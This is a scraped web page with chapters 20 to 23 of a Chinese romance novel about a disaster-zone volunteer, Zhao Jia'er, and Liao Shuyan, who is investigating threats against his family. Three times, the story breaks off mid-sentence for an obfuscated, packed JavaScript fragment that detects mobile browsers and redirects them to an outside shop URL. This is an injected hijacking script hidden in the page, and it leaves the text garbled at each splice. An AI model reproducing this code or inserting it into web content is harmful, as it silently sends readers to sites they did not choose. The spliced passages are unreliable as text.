当初,她那朋友向她要他的电话号码,她起初都不愿给。 对于信任已久的朋友,她尚且都在保护他的隐私,又怎会向沈梦透露他的踪迹? 此次前来,一是为了看看她,二是替廖书眉前来慰问慰问灾区的难民。 “吴主任,有伤员需要手术!”女护士从一间救济站跑过来,急急地说道。 吴帆抖擞精神,匆匆对廖书言说道:“你自己随处看看!” 然后,脚步如飞地跟着女护士走了。 救援队在一大片废墟下发现了众多奄奄一息的伤患,众多志愿者不得不从睡眠中起来,积极搭建临时医疗站,协助医护人员对伤员进行抢救包扎。 发现伤员的地方是一片陷下地底两米深的厂房,救援队施救起来有些难度。救援队从白天到现在陆陆续续挖出了数十具尸体,突然发现某一间屋子里还有十来人活着,这些等待救援的难民无疑给救援人员添了一重慰藉。 赵嘉儿半夜被叫醒时,听说有任务,立马换上志愿者的服装,戴上帽子,一边戴着袖章,一边问着身边的苏杭:“队长,听说医疗站那边的血液库存不足了,突然发现这么多伤员,一定不够用了。” 苏杭道:“这个不用你操心。在市区,也有很多人排队献血呢,等明天的献血车过来了,应该也能撑一段时间。” 到达指定的医疗站,赵嘉儿很快便投入了工作。 看到大片大片的血迹,她虽然依旧感觉犯晕,但是,已经能迅速调整好心情,协助医护人员止血、清理、消毒、包扎…… 她进进出出地忙碌着,并未留意到廖书言在远处一直盯着她所在的医疗站。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227878|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在来来往往的人群里,他见她抱着满是血渍的医用纱布出来,又抱了满怀的新纱布进去,有些欣慰,又有些心疼。 夜渐深,在替最后一名伤员缝上伤口后,众人都长长地舒了一口气。 吴帆各个医疗站巡视了一圈,看到赵嘉儿站在角落里喝着水,朝她笑了笑。 赵嘉儿只觉得他笑得暧昧,而且不怀好意,没有理他。 这时,突然有人问了一句:“吴主任,我们这边一共救了多少人?” 吴帆认真地道:“送过来四十六人,死者二十一,救回来的二十五人,截肢五人,重伤七人,轻伤七人,其余六人只是身体机能跟不上。” 大家听到依旧有二十一人没有救回来,不禁默默低下了头。 吴帆见状,忙开解道:“生死有命!我们尽自己最大的努力去抢救每一个被送过来的人,就问心无愧!大家都忙了半夜了,养好精神,才能救更多的人!” 众人渐渐散开,三三两两聚在了一处。 赵嘉儿将苏杭带领的志愿者集合在一处,正要回去,吴帆在身后叫住了她:“赵小姐,请留步。” 赵嘉儿看了苏杭一眼,苏杭笑道:“吴主任叫你留下,你就留下呗!我又不会骂你,你还跟我扮可怜!” 吴帆向廖书言站立了许久的废墟上看了一眼,不见他的人,才将赵嘉儿带到了一处光亮下。他见赵嘉儿紧张无措的模样,有些不知道怎么与这样的小姑娘交流,只能干巴巴地道:“你应该知道书言来了灾区。其实他来了两天了,明天早上会离开,你要不要送送他?” 赵嘉儿早就料到他叫住她,极有可能会跟她谈到廖书言,却没想到是为了这样的事。她纠结地挠着后脑勺,吞吞吐吐地说道:“我……我不知道……他没……没与我联系……” 吴帆看她这副性子,很想敲她的脑袋骂她。 他有些庆幸自己当年从廖书言那儿捡来的便宜不是她,不然,他会被她急死气死。 他身上的白大褂上沾了一片片血迹,赵嘉儿垂下去的目光就落在那一片片污浊的血迹上,不断扭曲、变形,就如同光影下吴帆气愤的脸。 但是,在她看来,吴帆生气的脸才更可怕。 而她,却不知她哪里惹他生气了。 吴帆在她面前焦急地转动了几圈,后定定地看着她,一字一句地道:“反正我已经跟你说了,要不要去送,你自己决定!书言都不让我跟你说,我真是咸吃鸭蛋瞎操心!我都不知道他心里怎么想的?还有你!两个人一个德行!还真是天生一对!” 赵嘉儿被吴帆无缘无故训斥了一顿,回到救济棚,却怎么也睡不下。 廖书言昨天就到了灾区,她今晚才见到他,还没说一句话,就逃走了。若是明天再不去送他,她不知道以后还有没有见面的机会。 离开市区最后一通电话里,她并没有告诉他即将去的地方是灾区,今晚他发现她来了这里,会怎样想? 赵嘉儿辗转了一夜,早上被闹钟叫醒时,苏杭便凑过来问道:“你的黑眼圈怎么那么重?没睡好啊?” 赵嘉儿点头,没有多说。 洗漱的时候,她发现头发打结了,怎么也梳不顺,只能让苏杭替她梳顺。 苏杭梳着梳着,突然发出一声感慨:“我是不是也该考虑留长发了?” 赵嘉儿道:“你可以试试。” “可是,我从小到大就没留过长发,怕不习惯,”苏杭将赵嘉儿的头发梳顺,笑着将木梳递回到她手中,“我不会梳头,你自己梳。” 在这样的环境下,赵嘉儿不能像在家里一样隔天洗一次头,怕以后梳头头发还会打结,便对着镜子在脑后编了一条辫子。 进入这片灾区的出入口只有一个,她来不及吃早饭就跨过一堆堆废墟跑到了那个入口,只看见三三两两的人,却没有见到廖书言的身影。 她以为时间还早,就蹲在了入口的救济站旁等着。吴帆经过这里时,看到她一个人傻傻地等着,笑着摇了摇头。 太阳渐渐升起,赵嘉儿觉得有些晒,挪了挪位置,继续等着。 她感觉肚子有些饿,苏杭打电话骂她擅离职守,她问了一声:“什么时候集合?” 苏杭收敛怒气,和声和气地道:“你在哪里呢?再不回来吃早餐,就没有了。” 赵嘉儿依旧是问着同样的问题:“什么时候集合?” 苏杭愣了愣,答道:“八点。” “我八点回去。” 救济站内有人给她搬了一把塑料凳过来,她笑着道了谢,坐在板凳上揉着自己发麻的双腿。 入口陆陆续续有车辆进出,赵嘉儿看了看时间,已经七点,却依旧没有见到廖书言。她有些后悔昨晚没有问吴帆,廖书言今早离开的时间。 廖书言在车上接到吴帆的电话后,便将车掉了头。 灾区入口处有车出入,他没有靠近,而是将车停在了路边,一抬头,便见到赵嘉儿一个人孤零零地坐在救济站旁,一边揉着双腿,一边四处张望着。 他笑了笑,在通讯录里找到她的名字时,才发觉他已经很久没有拨出过这个号码了。 此时,他竟然感觉到紧张。 电话几乎在响过一秒后就被接通,他看着赵嘉儿站起身张望着,话里带着些哭腔:“廖老师……” “嘉儿,”廖书言深吸一口气,看着她着急乱窜的身影,笑道,“往入口的方向看,路边停了一辆车……” 21. 第21章 池中物(2) 赵嘉儿举着手机,按照廖书言的指示在进出的车辆里,一眼就看到了停在路边的白色宝马车。 廖书言下车直直地站在车边,她感觉晨光下的他更真实了一些,眼睛望着她,在笑。 她向前迈了两步,慢慢放下电话,一步步朝他走近。 不自觉地,她脚下的步子加快了,小跑着向他跑了过去。接近他时,她又放慢了步子,站在离他五步之外的地方,犹豫不前。 廖书言向前迈出一步,微微向她张了张双臂,唤着:“嘉儿。” 赵嘉儿抿着嘴,双手背在身后,垂着脑袋,一步,一步,走向他。 见廖书言要来抱她,她慌乱地扯住他的手臂,向路上过路的车辆和人们看了一眼,就牵着他的衣袖,将他带到路边被杂草淹没的一片废墟里。 直到确定不会被发现,她才牵着他的衣袖,埋头嘟囔了一句:“这里没人看见。” 廖书言笑着问道:“那我可以抱你了么?” 赵嘉儿气鼓鼓地瞪了他一眼,在廖书言伸手抱住她之际,她顺势依在了他怀里,轻轻圈住了他的腰身。 “嘉儿,以后不要一声不响地离开,”廖书言将她深埋的头抬起,认真地道,“我与沈梦之间的事,你不要听她一面之词。” 赵嘉儿仰着头看他:“那她打掉的孩子到底是谁的?” “我在查,”廖书言将她脑后的辫子顺到她身前,道,“你之前的直觉是对的,的确是有人在背后为难我。” 赵嘉儿不服气地道:“您之前还不信我!” 廖书言松开她,看了她许久,郑重其事地问道:“嘉儿,经历了这些事,你应该知道跟着我会有许多麻烦,甚至会有生命危险,你想好了么?” 赵嘉儿不解:“想好了什么?” 廖书言抬手敲了敲她的额头:“装傻是不是?” 赵嘉儿瞬间反应了过来,蓦地红了脸,支支吾吾不知怎样回话,许久才不满地质问道:“那您为什么突然要送我离开云南?不是因为沈梦,那是因为什么?” 廖书言叹道:“我姐夫的公司陷入了麻烦里,跟之前绑架你的事情有关联,如果他们想要害我,你跟着我留在云南,会有危险。我之前是打算将你送回宜宾,等云南的事情解决了,再回去找你。你突然一个人离开,又说有了下一个目的地,我猜到你的目的地便是这里……” 他见赵嘉儿只是仰着脑袋瞅着他,眼里有柔光,他抬手抚了抚她的眉眼,轻声问道:“嘉儿,我舍不得放开你,但是,也会尊重你的选择……跟了我,有危险麻烦,你还愿意跟着我么?” 赵嘉儿挠着头,抿着嘴笑着:“我是不是欠廖老师一个秘密?” “是有这么一回事。” “那我告诉您一个秘密。廖老师,您低一下身子,将耳朵凑过来。” 赵嘉儿满脸通红,眼里是娇羞的笑。廖书言不知她要说出的秘密是什么,笑着弯了弯身,便见她踮起脚将嘴凑到他耳边,温热的气息萦绕在他耳边,让他不敢分神,浑身紧绷。 “我的秘密就是……这段时间,我只要想到廖老师,心里就难过,想见他。” 廖书言震惊得偏头看她,她双目明亮,笑着向后躲了躲。 廖书言抓住她的胳膊,将她想要逃离的身子拉了回来,笑着问道:“真的?” 赵嘉儿笑着踢了踢鞋尖,气恼得推了他一把。廖书言抓住她的手,倾身看着她的眼睛,低声说道:“嘉儿,我不会再让你难过了。” 赵嘉儿躲开他的目光,低头抵着他的胸口,嗡嗡说道:“我还没答应跟廖老师在一起呢!” 廖书言心口陡然一凉,眉心一皱;赵嘉儿抬头看着他,向他吐了吐舌尖:“我说过了呀,要回家去相亲!姐姐看过之后要是满意,我就跟那个人在一起!” 廖书言不由松了一口气,问道:“怎样过你姐姐那一关?” “其实也很简单,”赵嘉儿眉眼弯弯地笑道,“第一,是我喜欢的;第二,是对我好的;第三,要嘴甜会照顾人;第四,要孝顺能上道;第五……” 廖书言见她掰着手指头,一条一条说着那些条件,有些无奈。 赵嘉儿数到最后一根手指时,眨了眨眼,道:“第十,这个是最后一条,也是最重要的一条,廖老师要牢牢记住啊!” 廖书言道:“你说。” 赵嘉儿眼中露出一抹狡黠的笑,吐了吐舌:“姐姐也没跟我说过,我也不知道。” 廖书言被她逗得哭笑不得。 即使她表达心意的方式含蓄委婉,他也十分开心,想就这样抱着她不松手。 相识以来,他不敢奢望她会与他贴得如此近,在他怀里欢笑、打闹。 然而,想到即将要分离,他又万分不舍,双手轻轻捧起她发红发烫的脸颊。她突然捉住他的左手,撸起他的衬衫衣袖,嘟着嘴道:“快八点了,我得回去了。” 廖书言微微抬起手腕,指针显示的是七点四十分。他没想到时间竟然过得这样快,两人就这样坐在废墟堆里静静地相拥到了这个时候。 赵嘉儿仰着脑袋问他:“我向我们老总请假到月底,廖老师什么时候回去?” 廖书言笑道:“我跟你一起回去。” 赵嘉儿顿时眉开眼笑起来,又体贴地说道:“我在这边不会有事,廖老师不必常来看我,您先解决手头上的事情。” 廖书言沉默了一阵,若有所思地点了点头:“你自己注意安全,遇到危险,不要往前冲。” 赵嘉儿将廖书言送到车旁,为他打开车门,听他仍旧不放心地跟她叮嘱,有些无奈地道:“您比我姐还要啰嗦。” 廖书言认真地道:“我总是不放心你。” 赵嘉儿嘿嘿笑了两声,将他推进车里,关上门之际,向他挥手:“廖老师一路平安!” “嘉儿。”廖书言降下车窗,唤了一声。 赵嘉儿弯腰将脑袋凑到车窗前,问道:“怎么了?” 廖书言伸手扣过她的脑袋,在她额头上亲了一下。 赵嘉儿顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227879|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉四肢百骸都被电了,傻愣愣地看着他牵起的嘴角,脑袋有些发懵。 “进去吧,”廖书言心满意足地摸了摸她的脸,笑道,“我看着你进去,再离开。” 赵嘉儿瞬间回过了神,这才意识到自己刚才是被他亲了,整张脸突然涨得通红,又是埋怨又是娇羞地瞅了他一眼,便慌乱地捂着脸跑了。 她感觉自己的心跳不能自已,回到救济棚时,脸上的红晕依旧未散,整个身体都似乎在发烫发热。 这种感觉让她觉得很奇怪。 她不明白,廖书言不过是轻轻吻了一下她的额头,她怎么会有这样的身体反应? 赵嘉儿很庆幸救济棚里里外外都没有人,而苏杭也替她留了早餐。 馒头和稀饭,虽然寒碜,但是她早已经习惯了。 这些日子,每当吃不下饭时,她总会想起廖书言。似乎想到他,她才有了胃口。 她感觉自己的心情渐渐平复了下来,抬手摸上额头,又是一阵心跳加速。 现在回想起来,廖书言的唇是热的,是软的,轻轻一碰,都能烫伤她的心,让她着迷。这种感觉从未有过,即使与陆嘉清接吻时,她也不会有这样深切而强烈的渴望。 她感觉自己的想法龌蹉,不敢再深想,拼命地喝粥。 口袋里的手机铃声突然响起,她被噎得脸颊泛红、双眼泪流。 待喝过一口粥缓了缓,她才掏出手机,看到是廖书言的来电,身体都在发热。 她颤抖着手接通电话,细声唤道:“廖老师……” “怎么说话在发虚?”廖书言戴着蓝牙耳机,听到她时不时地打着嗝,忽然就笑了,“吃东西噎着了?” 赵嘉儿有苦无处说,苦着脸道:“都赖您!” “我怎么了?” “您……您怎么突然就亲我了?” 廖书言有些尴尬,手指无意识地敲打着方向盘,微微红了脸,小心翼翼地问道:“你不喜欢?” “没有,”赵嘉儿嘟囔着,“廖老师在我心中是神仙似的人物,突然做这种事,我……我没反应过来。” 廖书言道:“我以后尽量给你时间准备。” 赵嘉儿才觉得说了几句话,喉咙顺畅了许多,忽听他这么正儿八经的话,感觉喉咙再次被噎住了,朵朵红云再次爬上了脸颊。 “嘉儿,”廖书言突然认真地道,“你今天不忙的时候,将你之前说的那十条要求发到我微信上。” “啊?您要做什么?” “我怕我记不住,相亲的时候会手忙脚乱。” 赵嘉儿在心里偷偷发笑,爽快地点头:“好!我待会就发给您!马上就要集合啦,廖老师路上注意安全!” “你也要照顾好自己。” 苏杭进来见到赵嘉儿抱着手机在傻笑,叉着腰,大声叫道:“赵嘉儿,集合了!赶紧给我滚出来!” 赵嘉儿最怕苏杭冷着脸大声对她说话,连忙放下手机,戴好帽子,风一样地冲到了棚子外,继续忙碌的一天。 22. 第22章 池中物(3) 灾区的救援工作有条不紊地进行着,赵嘉儿见到那些劫后重生的人们,渐渐拾起对生活和未来的信心,心里一阵酸楚和感动。 看着这些人,再见到池勉时,她更是五味杂陈。 池勉花了两年时间才从家破人亡的阴影里走出来,奋发上进。 第一次见到池勉,不是在大学的新生会上,而是更早以前。 池勉记得清楚,她却没有一点印象。 这样想来,她还真觉得有点对不起他。 池勉照例会晚上过来找赵嘉儿。他今天收工得早,寻过来的时候,天还亮着。 他见赵嘉儿一个人抱着手机坐在一旁傻笑,逮着蹲在棚子门口吃饭的徐鸣,问道:“嘉儿今天怎么了?” 徐鸣看一眼赵嘉儿,又看一眼池勉,继续扒饭:“不知道,队长说她中邪了。” 池勉没见到苏杭,心口松了松。他总感觉苏杭对他这个外来人太过热情了,不像赵嘉儿口中那个脾气急躁易怒的苏队长。 因此,他能避则避。 他放轻脚步,突然跳到赵嘉儿面前,果真吓到了她。 赵嘉儿护犊子一样护着手中的手机,嗔怪地看着突然冒出来的池勉,小声埋怨道:“你想吓死我啊!” 池勉搬过塑胶凳坐在她身边,伸着脖子瞅着她怀里的手机,斜着眼笑道:“手机里藏了什么见不得人的秘密,护得那样严实?” 赵嘉儿脸上有些挂不住,收起手机,冷哼一声:“就不告诉你!” “你这样就不够朋友啦!”池勉小声抗议着,“我每天挤出时间来看你,你还跟我藏着小秘密!” 赵嘉儿得意地向他吐了吐舌头,起身朝正搬着一桶饮用水的苏杭走过去。 徐鸣目瞪口呆地看着苏杭将一桶水搬进了棚子,反应过来的时候,在她身后比了一个大拇指:“队长,您真乃女中真汉子!小的甘拜下风!” 苏杭放下水桶,回身踢了他一脚:“赶紧吃完,给我干活去!” 赵嘉儿凑上来,态度积极:“队长,我也去!” 苏杭笑着摇了摇头:“都是体力活,仅限男生。你留下来将男生和女生的床位铺好,做好后勤就可以啦!” 她的目光在池勉身上停了停,望着他笑了笑,池勉往赵嘉儿身后躲了躲。 苏杭并不在意,将男生集合起来后,便道:“现在晚上六点,大家跟我来,务必要在八点之前将物资搬到各个站点。完事了,就可以休息了!” 苏杭带头领着十二名男生出了救济棚,忽然回头一指池勉:“大记者,你也是男的,也过来帮忙!” 池勉扛着摄像机跑了一天,浑身酸疼,本以为今晚不用赶稿,可以图个清闲。苏杭忽然支使他,他有些不快,当即就回绝了:“我不归你管,别命令我。” 苏杭变了脸色,拨开人群,走到池勉跟前,一字一句地说着:“现在,你站在我负责的地盘,就得听我的安排!你能来到这里,我相信你也想多为这个地方出一份力,而不是想着偷懒!” “好了好了,”池勉头一次被一位女孩子当着这么多人的面说教,只能妥协,“我去总行了吧?” 苏杭翻脸比翻书还快,先前阴沉沉的脸色立马转晴,笑起来嘴角还有一点小小的酒窝。 在她转身走了几步远,池勉小声在赵嘉儿耳边嘀咕了一句:“嘉儿,这样的队长……我突然挺同情你们。” 而赵嘉儿却觉得苏杭是有意让池勉跟着去的。 苏杭生气的时候,她的确害怕那种气势,那个时候更是不敢说一句话;可是,平常相处起来,她喜欢苏杭的爽快与真诚。 站在自己的立场,她倒是希望池勉也能早点找到自己的另一半,若是苏杭能够一点点打动他,她也乐意见到这样的事。 这一刻,她似乎有点明白赵贤儿急着为她找对象的心情了。 因为在乎,所以,希望被在乎的那个人也能过得好。 她这两年因为陆嘉清几乎将自己的内心封闭,赵贤儿的苦心,她一直都明白,偏偏走不出来。 若没有遇上廖书言,她不知道这份心结何时能解开? 棚子里只有她和另外四位女孩子,五个人合力将各个床位铺好,赵嘉儿在帘子后面简单洗了一下,便钻进了被子里。 在灾区,难得有这样清闲的时候,女孩陆陆续续回来后,没多久便睡着了。 赵嘉儿本来很困,因为想着廖书言,反而怎么也睡不着。 她在昏黄的灯光下点开微信,看到他发过来的最后一条消息已经是两个小时前了。 言:忙了一天,你早点睡。 在远离灾区的大城市里,她猜想廖书言这个时候应该还没有睡下。 犹豫了一会儿,她敲下一行文字。 鲜橙披萨:廖老师,我睡不着…… 言:在吃饭。 鲜橙披萨:吃饭还玩手机? 鲜橙披萨:您现在才吃?吃的什么啊?我在这里吃不好睡不好,您发张图片过来,让我解解馋也好。 言:陪生意场里的朋友吃饭。 赵嘉儿想起他离开前说的向氏医药的问题,明白他现在应该是在与人谈论收购和后期合作的事情,不敢再胡乱干扰他。 她正敲着字,廖书言已经发过来了一条消息。 言:是父亲的老朋友,很随意的饭局,也快结束了。 赵嘉儿不知道怎么去回复,将之前敲出的“那我不打扰了”删掉,心里又有些苦闷。 隔着屏幕,分隔两地,她不知道怎样融进他的生活,也不知道怎样向他传达自己的思念。 太主动,怕他认为她之前是故作矜持;太被动,又怕他体会不到她的心意。 她在被窝里蜷成一团,双眼盯着手机屏幕,咬咬牙,趴在被窝里,敲下了四个字。 几乎是同一时间,廖书言也给她发了一条消息。 言:有点想你。 鲜橙披萨:有点想您。 手机屏幕在她的双眼里渐渐模糊,她在笑,却止不住眼眶里的泪水。 她抱起手机,又去敲字。 鲜橙披萨:我想听您的声音。 言:现在不方便,等会儿。 鲜橙披萨:我给您去个电话,您不能借口接个电话离开一会儿么? 言:好。 赵嘉儿向其他床位看了一眼,轻手轻脚地爬了起来,踮着脚来到棚子后面,迫不及待地拨通了廖书言的电话。 她向左右看了看,确定附近不会有人出现,才找了一块石头坐下。 “嘉儿。” “廖老师……” 彼此沉默了很长时间,赵嘉儿忍不住抽泣起来,将脸埋在了双膝里。 廖书言在包厢外听着电话里一声接着一声的抽泣,心口隐隐抽痛。他向包厢内望了一眼,与廖书眉打了一个手势,便向转角处的洗手间走去。 这一层做为独立的高档包厢,洗手间内并没有人,赵嘉儿的抽泣声反而更加清晰了,猛烈地敲打着他的心。 他这段时间忙于处理向氏医药的事情,上一次分别后,转眼又是一周,他除了电话和微信里的几句问候,似乎亏待了她。 而她,从未有过怨言。 就连今日这通电话,也要征求他的意见。 他靠在洗手台边,深吸一口气,道:“等姐夫公司的事情处理完了,我去找你。” 赵嘉儿擦了擦眼泪,吸着鼻子道:“没事,我就是……就是感觉很久没听到廖老师的声音,有些情绪失控了。廖老师不用担心,我在这里很好啊,这边的情况也渐渐好起来了!” 赵嘉儿努力让自己的声音听着更高兴一些,手指卷着头发,绞尽脑汁说道:“廖老师,我听吴主任说了,关于灾区重建的资金,您将您早些年的两幅作品都送去慈善拍卖会了,是不是?” 赵嘉儿越是如此,廖书言反而越是心疼愧疚。 “这些都是托人处理的,我不用出面,”廖书言顿了顿,声音低了下来,“嘉儿,我后天可以抽出时间去看你。” 赵嘉儿心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227880|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复杂,低低地问了一句:“不会耽误您的事情么?” “不会,”廖书言换了一只手讲电话,“我会在月底之前将云南的事处理完,和你一起回去。” 赵嘉儿应了一声,忽然想起了一件重要的事,便道:“廖老师,我跟池小勉讲了您和沈梦之间的事……” “嗯……”廖书言有些意外和震惊。 赵嘉儿听出他语气有些见外,忙道:“您放心,我只是说这是一本小说里的情节,没有乱说话。您……您别生气啊。” 廖书言低声笑道:“我没生气,你继续说。” 赵嘉儿松了一口气,缓缓地道:“池小勉说,整件事都是针对您设下的圈套,因为师生之间发生这种事,如果公开,影响总是不好的,所以,不管是否公开,您这边都是吃亏的。” “的确是这样。还有呢?” “还有……”赵嘉儿挠了挠头,声音有些低,“据池小勉分析,这是您身边熟悉您的人给您设下的套,想让您身败名裂。” 这席话让廖书言豁然开朗。 他从未想过是身边人想要害他。 毕竟,在世人眼中,他只是一名普普通通的书画老师,知道他另一重身份的人都是他信得过的亲友。 沈梦突然出现在昆明,他也只是怀疑是有人想通过为难他,来打击廖家明面上的掌家人。 所有的一切看似针对他,其实主要针对的对象是廖书眉。 在国内,与廖书眉关系最亲近的是向云河和他。 好巧不巧,他与向云河都接连遭遇了麻烦。 可是,若真是身边熟悉他的人在针对他,他想不出来会是谁。 “廖老师?”赵嘉儿见电话那头沉默了,不安地唤了一声。 “嘉儿,谢谢你!” 廖书言突然郑重其事地向她道谢,她又羞又喜地摸着脑袋,仍然心虚:“廖老师不怪我随意将这件事说出去了么?沈爸爸说过,不能让我们之外的其他人知道。” “你相信他,是么?”廖书言认真地问了一句。 赵嘉儿点头:“嗯,我相信他。” “那我也相信他,”他听到她的轻笑声,看了看表,道,“你早点睡,我后天去看你。” 赵嘉儿不满地嘟囔着:“廖老师又在催我……我睡不着嘛……” 廖书言似乎能想象到她双眉紧蹙,似娇似嗔的模样,失声笑道:“已经如愿以偿了,还睡不着么?” “那好吧,”赵嘉儿不情不愿地做出了让步,“那您也早点回去休息。” 电话中断后,廖书言对着镜子理了理有些松掉的领带,脑中不由浮现出赵嘉儿的脸。 “还是嘉儿的领结系得漂亮一些。” 他听到有脚步声接近,整理好着装,走出洗手间时,正看到向云河一边讲着电话一边向这边走来。 向云河似乎没料到廖书言会在这里,眼镜后的眼神有些慌乱,连忙对电话那头说道:“我现在在忙,有什么事,以后再说。” 他挂了电话,便笑着走向廖书言:“徐老板醉了,你姐姐也有些醉了,待会我打车送徐老板回去,你送你姐姐先回酒店休息。” “行,”廖书言点头,盯着他看了半晌,问道,“姐夫刚才跟谁在讲电话?” 向云河笑道:“从前的一个投资商,滑头鬼,有些难对付。” 廖书言道:“在你四面楚歌的时候,没有落井下石,也是难得。” 向云河道:“是啊……你先去吧,我先去一趟洗手间。” 不知是否是赵嘉儿的那番话左右了他,无意中撞见向云河慌乱挂断电话的场景,他总觉得向云河的态度十分蹊跷。 但是,向云河的为人,他还是信得过。 毕竟,在廖家陷入绝境时,是他代表向家向廖家伸出了援手。即使他的目的是为了娶到廖书眉,可在廖家危机四伏时,他能够挺身站出来拉一把,这样的真情也足以让人动容。 廖书眉即使从未正眼看过他,在那一刹,应该也是动过心的。 23. 第23章 池中物(4) 廖书言在706房间守着廖书眉到凌晨,也不见向云河回来,拨了两通电话,一直提示着对方电话已关机。 廖书眉醉酒醒来,揉着脑袋撑起身子,看到在灯下坐住的人是廖书言,甩了甩脑袋,眼前所见的人还是他。 廖书言斟了一杯温水送到床头柜上,皱眉道:“以后这种应酬,你还是少去。有姐夫在,你还那么拼命灌酒做什么?” 廖书眉有些倦态,拥着被子靠在床头,望着他笑道:“你知道他是怎样的人,这种场合指望不上他——他人呢?” “送徐老板回入住的酒店,一直没回,电话关机了。我找徐老板确认过了,姐夫顺利将他送回了酒店,后来就离开了。” 廖书眉紧了紧眉头,问道:“会不会出事了?” 廖书言心中也有这样的担忧。 接连发生的事,让他不敢抱有一丝侥幸的心理。 他见廖书眉眼中有急色,沉声道:“你先休息,我会再联系他。” 然而,直到第二天下午,向云河的电话依旧打不通,他就这样突然消失得无影无踪了。 廖书言突然想到向云河在餐厅里鬼鬼祟祟挂掉的电话。 对于向云河的失踪,廖书眉始终平静淡然,只是不再笑了。 廖书言知道她心里着急,安慰道:“我去一趟餐厅,餐厅里应该有摄像,根据那通电话,应该可以找到一些线索。” 廖书眉的眼神有了一些波动,低声道:“我和你一起去。” 一路上,副驾驶上的廖书眉总是心不在焉地看着车窗外。 午后的阳光透过车窗落在她的发间、眉梢,她就如同一只美丽优雅的白孔雀,沐浴在斑斓光彩里,超然出尘。 “书言,”廖书眉突然出声,眼睛依旧看着窗外,低声道,“你说会不会是他回来报复了?他离开前,曾发过誓,待他日重归,必不让我好过。” 廖书言一脚踩下刹车,廖书眉的身子猛然向前倾去,心有余悸地抬头:“撞到人了?” “我感觉没撞到,”廖书言眉心紧皱,缓了一口气,道,“我下去看看,你先别下去。” 事故发生在眨眼之间,前后堵了好几辆车,有司机和乘客围在一旁看着热闹,有好心人已经拨通了120急救电话。 廖书言下车没看到血迹,不由松了一口气,可看到倒在车前昏迷不醒的人,不禁皱了皱眉。 自从他将沈梦交给当地导游后,便没再见过她。在这样的情况下见面,他心里说不出的难受与惊骇。 他打电话报了警,只等着交警前来勘察。 报警期间,有一通电话打了进来,他点开最新的未接电话看了看,是赵嘉儿的来电。 这种情况下,他不想这种糟心事去分她的心,想着找个合适的时机再回过去。 于是,他便发送了一条信息过去:有点事,稍后给你电话。 廖书言上前探了探沈梦的鼻息,还有气息,心里却有些没有底。他虽然感觉没撞到人,但是活生生的人突然昏倒在车前,他此时也有些拿不准。 廖书眉下车,问清情况后,拧着眉头问道:“她还在昆明啊?” “我将她的踪迹告诉她家人,至于为什么还在这里,我就不得而知了。” 救护车几乎与执勤交警一同赶到,廖书眉跟着救护车走后,不放心地看着廖书言:“你确定没有撞到她?” 廖书言道:“到时候看看道路监控就知道了。不用担心,只要人没事就行。” 因为车子是租车公司租来的车,廖书言又联系了租车公司,说明了情况。 在结果出来之前,车子被扣住,廖书言只得打车到了昨晚用餐的餐厅,得到大堂经理许可,才允许进入监控室调控监控画面。 他记得昨晚与赵嘉儿的通话时间大概在八点二十分左右,在监控画面里,向云河是八点三十分左右出了包厢接电话,在洗手间的走道里遇到廖书言是八点五十分。 画面里,向云河总是低着头,说话的时候很少。但是,看得出来,他的样子很苦恼,似乎并不想跟对方多说话。 “能听到声音么?”无法捕捉到声音,廖书言还是猜不透那通电话的蹊跷。 大堂经理礼貌地笑道:“廖先生,很抱歉,餐厅为了保护顾客的隐私,让顾客放心愉快地用餐,我们餐厅的监控都没有安装MIC,还请您谅解。” 廖书言理解,没有为难,又问道:“我能将这段监控拷贝下来么?” 大堂经理依旧保持着职业般的微笑:“原则上,不可以,廖先生。” 廖书言道了一声谢,与廖书眉通了电话,便赶到了医院。 廖书言赶到医院时,沈梦已经醒了过来,头上缠了绷带,见了廖书言,便甜甜地叫了一声:“廖老师。” 守在床边的廖书眉拧了拧眉,望一眼已走到病床边的廖书言,神情淡淡地道:“后脑轻微撞伤造成的突然昏迷,途中就醒了,医生说先留院观察。” 廖书言点了点头,一双眼沉沉地盯着沈梦。他想从中看出不对劲,可她总是笑嘻嘻地看着他,他除了觉得蹊跷,再也看不出什么。 “不管是不是我撞了你,住院期间的费用由我承担,”廖书言用公事公办的口吻说着,“出院后,回家去。” 沈梦斜着眼笑道:“我前脚才到昆明,廖老师后脚就通知了我爸爸。他派人过来看着我,我走到哪儿那两个人就跟到哪儿,烦都要烦死!廖老师,我今天好不容易甩开了他们,哪知就遇到了您,您就带我玩玩吧!导游虽然懂很多,但是,不是跟廖老师一起旅游,真的好无聊!您也带嘉儿姐姐一起出来玩啊!我好久没见过她了!” 廖书眉看着她这副死缠烂打的痴缠劲儿,一阵好笑,忍不住说道:“你都知道他跟你嘉儿姐姐在一起了,人家的二人世界,你掺和进来,不觉得碍眼么?” 